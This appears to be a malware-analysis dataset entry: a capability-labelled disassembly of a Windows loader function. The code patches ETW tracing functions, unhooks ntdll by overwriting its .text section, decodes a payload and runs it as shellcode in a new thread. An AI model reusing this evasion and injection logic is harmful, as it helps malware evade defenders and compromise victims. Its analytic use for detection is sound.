Function at 0x180002480
Capabilities:
Create process on windows
Create process suspended
Hide graphical window
Inject thread
Link many functions at runtime
Patch event tracing for windows function
Set registry value
Spawn thread to rwx shellcode

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x2e8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x260], 0xfffffffffffffffe
call sub.KERNEL32.dll_GetConsoleWindow
mov rsi, rax
mov rcx, rax
xor edx, edx
call sub.USER32.dll_ShowWindow
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov rcx, rsi
mov rdx, 0xfffffffffffffffe
xor r8d, r8d
xor r9d, r9d
call sub.USER32.dll_SetWindowPos
lea rcx, [0x1800741f0]
call sub.KERNEL32.dll_LoadLibraryA
mov rdi, rax
lea rdx, str.EtwEventWrite
mov rcx, rax
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
lea rsi, [0x180074243]
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwNotificationRegister
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwEventRegister
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwEventWriteFull
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
xorps xmm0, xmm0
movaps xmmword [rbp + 0x200], xmm0
mov qword [rbp + 0x210], 0
movaps xmmword [rbp - 0x20], xmm0
movaps xmmword [rbp + 0x40], xmm0
movaps xmmword [rbp + 0x30], xmm0
movaps xmmword [rbp + 0x20], xmm0
movaps xmmword [rbp + 0x10], xmm0
movaps xmmword [rbp], xmm0
movaps xmmword [rbp - 0x10], xmm0
mov dword [rbp - 0x20], 0x70
lea rax, [rbp + 0x200]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x20]
mov qword [rsp + 0x40], rax
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
lea rdx, str.C:WindowsSystem32_notepad.exe
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
call sub.KERNEL32.dll_CreateProcessA
mov rsi, qword [rbp + 0x200]
call fcn.180005460
mov qword [rbp + 0x1f0], rax
lea rcx, [rbp + 0x200]
lea rdx, [rbp + 0x1f0]
call fcn.180005470
mov qword [rbp + 0x1f8], rsi
cmp dword [rbp + 0x200], 4
jne 0x180002f08
mov rdi, qword [rbp + 0x208]
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x258], rax
mov r12, qword [rbp + 0x218]
shl r12, 4
add r12, rdi
lea r14, [rbp + 0x200]
lea rbx, [rbp + 0x228]
movabs r13, 0x6c642e6c6c64746e
mov qword [rbp + 0x240], rdi
cmp rdi, r12
je 0x1800027cf
nop word cs:[rax + rax]
movups xmm0, xmmword [rdi]
movaps xmmword [rbp + 0x1e0], xmm0
mov rcx, r14
lea rdx, [rbp + 0x1e0]
call fcn.1800056d0
cmp dword [rbp + 0x200], 4
jne 0x180002e89
mov rdx, qword [rbp + 0x208]
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x248], rax
mov r8, qword [rbp + 0x218]
mov rcx, rbx
mov qword [rbp + 0x250], rdx
call fcn.180018740
movzx eax, byte [0x180083131]
mov ecx, 9
mov edx, 1
call fcn.1800034c0
test rax, rax
je 0x180002ed7
mov qword [rax], r13
mov byte [rax + 8], 0x6c
mov r15, qword [rbp + 0x228]
cmp qword [rbp + 0x238], 9
jne 0x180002770
mov rcx, qword [r15]
xor rcx, qword [rax]
movzx edx, byte [r15 + 8]
xor dl, byte [rax + 8]
movzx edx, dl
or rdx, rcx
sete sil
jmp 0x180002772
xor esi, esi
mov edx, 9
mov r8d, 1
mov rcx, rax
call fcn.1800034d0
mov rdx, qword [rbp + 0x230]
test rdx, rdx
je 0x18000279f
mov r8d, 1
mov rcx, r15
call fcn.1800034d0
mov rdx, qword [rbp + 0x248]
test rdx, rdx
je 0x1800027bd
mov r8d, 1
mov rcx, qword [rbp + 0x250]
call fcn.1800034d0
test sil, sil
jne 0x180002802
add rdi, 0x10
cmp rdi, r12
jne 0x1800026c0
mov rdx, qword [rbp + 0x258]
test rdx, rdx
je 0x1800027f1
shl rdx, 4
mov r8d, 8
mov rcx, qword [rbp + 0x240]
call fcn.1800034d0
lea rcx, [rbp + 0x1f0]
call fcn.180005360
xor r14d, r14d
jmp 0x18000283f
lea rcx, [rbp + 0x1e0]
call fcn.1800056c0
mov r14, rax
mov rdx, qword [rbp + 0x258]
test rdx, rdx
je 0x180002833
shl rdx, 4
mov r8d, 8
mov rcx, qword [rbp + 0x240]
call fcn.1800034d0
lea rcx, [rbp + 0x1f0]
call fcn.180005360
lea rdx, str.C:WindowsSystem32_ntdll.dll0x
lea rcx, [rbp - 0x20]
mov r8d, 0x1d
call fcn.180004a90
cmp qword [rbp - 0x20], 0
je 0x18000286a
mov rcx, qword [rbp - 0x18]
call fcn.1800022f0
jmp 0x180002972
mov rax, qword [rbp - 8]
mov qword [rbp + 0x210], rax
movups xmm0, xmmword [rbp - 0x18]
movaps xmmword [rbp + 0x200], xmm0
lea rcx, [rbp + 0x200]
call fcn.180004c50
mov r15, rax
mov r12, rdx
mov rcx, rax
call fcn.180004c80
test al, 1
jne 0x18000304c
mov qword [rbp + 0x228], r15
mov qword [rbp + 0x230], r12
lea rcx, [rbp + 0x228]
call fcn.180004c50
mov rcx, rax
call fcn.180004db0
add rax, 0xffffffffffffffd8
shl rdx, 3
lea rcx, [rdx + rdx*4]
movabs rdx, 0x747865742e
nop word [rax + rax]
test rcx, rcx
je 0x180002eeb
lea r13, [rax + 0x28]
add rcx, 0xffffffffffffffd8
cmp qword [rax + 0x28], rdx
mov rax, r13
jne 0x1800028e0
mov qword [rbp + 0x228], r15
mov qword [rbp + 0x230], r12
lea rcx, [rbp + 0x228]
call fcn.180004c50
mov r15, rax
mov r12, rdx
lea rcx, [rbp + 0x228]
call fcn.180004dd0
mov byte [rsp + 0x20], al
lea rcx, [rbp + 0x1e0]
mov rdx, r15
mov r8, r12
mov r9, r13
call fcn.180004de0
cmp qword [rbp + 0x1e0], 0
je 0x18000307f
mov eax, dword [r13 + 8]
mov ecx, dword [r13 + 0xc]
add r14, rcx
mov qword [0x180083120], rax
mov qword [0x180083128], r14
lea rcx, [rbp + 0x200]
call fcn.180004c60
lea rax, [0x180083128]
mov qword [rbp + 0x228], rax
lea rax, [fcn.18001d440]
mov qword [rbp + 0x230], rax
lea rax, [0x180074288]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], 1
mov qword [rbp], 0
mov qword [rbp - 0x10], rbx
mov qword [rbp - 8], 1
lea rcx, [rbp + 0x200]
lea rdx, [rbp - 0x20]
call fcn.180018530
mov rax, qword [rbp + 0x200]
mov qword [rbp + 0x240], rax
mov rsi, qword [rbp + 0x208]
mov rdi, qword [0x180083120]
test rdi, rdi
mov qword [rbp + 0x258], rsi
je 0x180002a2a
xor ebx, ebx
mov rax, rdi
shr rax, 0x3d
sete al
jne 0x180003038
lea r14, [rdi*4]
mov bl, al
shl rbx, 2
test r14, r14
je 0x180002a32
mov rcx, r14
mov rdx, rbx
call fcn.1800034f0
mov r8, rax
test r8, r8
jne 0x180002a3e
jmp 0x18000303f
mov r8d, 4
jmp 0x180002a3e
mov r8, rbx
test r8, r8
je 0x18000303f
mov rdx, qword [0x180083128]
mov qword [rsp + 0x20], 0
mov rcx, qword [rbp + 0x1f8]
mov qword [rbp + 0x250], r8
mov qword [rbp + 0x248], rdi
mov r9, rdi
call qword [sym.imp.ntdll.dll_NtReadVirtualMemory]
test eax, eax
jne 0x180002f56
mov rdx, qword [0x180083128]
mov qword [rsp + 0x20], 0
mov rcx, 0xffffffffffffffff
mov r8, qword [rbp + 0x250]
mov r9, qword [rbp + 0x248]
call sub.KERNEL32.dll_WriteProcessMemory
cmp eax, 1
jne 0x180002f65
mov rdx, qword [rbp + 0x248]
test rdx, rdx
mov rsi, qword [rbp + 0x258]
mov rcx, qword [rbp + 0x250]
je 0x180002ad0
shl rdx, 2
mov r8d, 4
call fcn.1800034d0
test rsi, rsi
je 0x180002aea
mov r8d, 1
mov rcx, qword [rbp + 0x240]
mov rdx, rsi
call fcn.1800034d0
lea rcx, [0x1800741f0]
call sub.KERNEL32.dll_LoadLibraryA
mov rbx, rax
lea rdx, str.EtwEventWrite
mov rcx, rax
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
lea rdi, [0x180074243]
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rdi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwNotificationRegister
mov rcx, rbx
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rdi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwEventRegister
mov rcx, rbx
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rdi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwEventWriteFull
mov rcx, rbx
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rdi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, section..data
lea rcx, [rbp - 0x20]
mov r8d, 1
call fcn.180001020
mov rax, qword [rbp - 0x20]
mov qword [rbp + 0x248], rax
test rax, rax
je 0x180002f74
mov rax, qword [rbp - 0x18]
mov qword [rbp + 0x240], rax
mov r14, qword [rbp - 0x10]
lea rdx, [0x180083010]
lea rcx, [rbp - 0x20]
mov r8d, 1
call fcn.180001020
mov rax, qword [rbp - 0x20]
mov qword [rbp + 0x250], rax
test rax, rax
je 0x180002fac
mov rax, qword [rbp - 0x18]
mov qword [rbp + 0x1c8], rax
mov rdi, qword [rbp - 0x10]
lea rdx, [0x180083020]
lea rcx, [rbp - 0x20]
mov r8d, 1
call fcn.180001020
mov rax, qword [rbp - 0x20]
mov qword [rbp + 0x258], rax
test rax, rax
je 0x180002fe7
mov rax, qword [rbp - 0x18]
mov qword [rbp + 0x1d0], rax
mov rbx, qword [rbp - 0x10]
xorps xmm0, xmm0
movaps xmmword [rbp + 0x210], xmm0
movaps xmmword [rbp + 0x200], xmm0
cmp rdi, 0x20
jne 0x180003022
mov rax, qword [rbp + 0x250]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0x210], xmm1
movaps xmmword [rbp + 0x200], xmm0
lea rcx, [rbp - 0x20]
lea rdx, [rbp + 0x200]
call fcn.1800036e0
mov qword [rsp + 0x28], r14
mov rax, qword [rbp + 0x248]
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x228]
lea rdx, [rbp - 0x20]
mov r8, qword [rbp + 0x258]
mov r9, rbx
call fcn.180003870
mov rax, qword [rbp + 0x228]
mov qword [rbp + 0x1f8], rax
mov rax, qword [rbp + 0x230]
mov qword [rbp + 0x1d8], rax
mov rdi, qword [rbp + 0x238]
mov rdx, qword [rbp + 0x1d0]
test rdx, rdx
je 0x180002d1e
mov r8d, 1
mov rcx, qword [rbp + 0x258]
call fcn.1800034d0
mov rdx, qword [rbp + 0x1c8]
test rdx, rdx
mov rsi, qword [rbp + 0x240]
je 0x180002d43
mov r8d, 1
mov rcx, qword [rbp + 0x250]
call fcn.1800034d0
test rsi, rsi
je 0x180002d5d
mov r8d, 1
mov rcx, qword [rbp + 0x248]
mov rdx, rsi
call fcn.1800034d0
mov qword [rbp + 0x228], 0
mov qword [rbp + 0x200], rdi
mov dword [rbp + 0x1e0], 0
mov qword [rbp - 0x20], rdi
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea rdx, [rbp + 0x228]
lea r9, [rbp - 0x20]
mov rcx, 0xffffffffffffffff
xor r8d, r8d
call qword [sym.imp.ntdll.dll_NtAllocateVirtualMemory]
mov rdx, qword [rbp + 0x228]
mov qword [rsp + 0x20], 0
mov rcx, 0xffffffffffffffff
mov r8, qword [rbp + 0x1f8]
mov r9, rdi
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
lea rax, [rbp + 0x1e0]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x228]
lea r8, [rbp + 0x200]
mov rcx, 0xffffffffffffffff
mov r9d, 0x20
call qword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
mov qword [rbp - 0x20], 0
mov rax, qword [rbp + 0x228]
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rcx, [rbp - 0x20]
mov edx, 0x2000000
xor r8d, r8d
mov r9, 0xffffffffffffffff
call qword [sym.imp.ntdll.dll_NtCreateThreadEx]
mov rcx, qword [rbp - 0x20]
xor edx, edx
xor r8d, r8d
call qword [sym.imp.ntdll.dll_NtWaitForSingleObject]
mov rdx, qword [rbp + 0x1d8]
test rdx, rdx
je 0x180002e74
mov r8d, 1
mov rcx, qword [rbp + 0x1f8]
call fcn.1800034d0
nop
add rsp, 0x2e8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rax, qword [rbp + 0x220]
mov qword [rbp], rax
movups xmm0, xmmword [rbp + 0x200]
movups xmm1, xmmword [rbp + 0x210]
movaps xmmword [rbp - 0x10], xmm1
movaps xmmword [rbp - 0x20], xmm0
lea rax, [0x180074338]
mov qword [rsp + 0x20], rax
lea rcx, [0x1800216a8]
lea r9, fcn.1800023b0
lea r8, [rbp - 0x20]
mov edx, 0x2b
call fcn.1800205b0
jmp 0x1800030b7
mov ecx, 1
mov edx, 9
call fcn.180020160
jmp 0x1800030b7
lea rcx, [0x1800742d8]
lea r8, [0x180074308]
mov edx, 0x2b
call fcn.180020280
jmp 0x1800030b7
mov rax, qword [rbp + 0x220]
mov qword [rbp], rax
movups xmm0, xmmword [rbp + 0x200]
movups xmm1, xmmword [rbp + 0x210]
movaps xmmword [rbp - 0x10], xmm1
movaps xmmword [rbp - 0x20], xmm0
lea rax, [0x180074320]
mov qword [rsp + 0x20], rax
lea rcx, [0x1800216a8]
lea r9, fcn.1800023b0
lea r8, [rbp - 0x20]
mov edx, 0x2b
call fcn.1800205b0
jmp 0x1800030b7
mov ecx, 1
call fcn.18000ac90
jmp 0x1800030b7
mov ecx, 1
call fcn.18000ac90
jmp 0x1800030b7
movups xmm0, xmmword [rbp - 0x18]
movaps xmmword [rbp + 0x200], xmm0
lea rax, [0x180074350]
mov qword [rsp + 0x20], rax
lea rcx, [0x1800216a8]
lea r9, [0x1800216f8]
lea r8, [rbp + 0x200]
mov edx, 0x2b
call fcn.1800205b0
ud2
movups xmm0, xmmword [rbp - 0x18]
movaps xmmword [rbp + 0x200], xmm0
lea rax, [0x180074368]
mov qword [rsp + 0x20], rax
lea rcx, [0x1800216a8]
lea r9, [0x1800216f8]
lea r8, [rbp + 0x200]
mov edx, 0x2b
call fcn.1800205b0
jmp 0x1800030b7
movups xmm0, xmmword [rbp - 0x18]
movaps xmmword [rbp + 0x200], xmm0
lea rax, [0x180074380]
mov qword [rsp + 0x20], rax
lea rcx, [0x1800216a8]
lea r9, [0x1800216f8]
lea r8, [rbp + 0x200]
mov edx, 0x2b
call fcn.1800205b0
jmp 0x1800030b7
lea r8, [0x180074398]
mov ecx, 0x20
mov rdx, rdi
call fcn.1800207d0
jmp 0x1800030b7
call fcn.1800184d0
jmp 0x1800030b7
mov rcx, rbx
mov rdx, r14
call fcn.180020160
jmp 0x1800030b7
mov byte [rbp + 0x228], ah
lea rax, [0x1800742a8]
mov qword [rsp + 0x20], rax
lea rcx, str.REASONsrclib.rs
lea r9, [0x180021688]
lea r8, [rbp + 0x228]
mov edx, 6
call fcn.1800205b0
jmp 0x1800030b7
movzx eax, byte [rbp + 0x1e8]
mov byte [rbp + 0x228], al
lea rax, [0x1800742c0]
mov qword [rsp + 0x20], rax
lea rcx, [0x1800216a8]
lea r9, [0x180021688]
lea r8, [rbp + 0x228]
mov edx, 0x2b
call fcn.1800205b0
ud2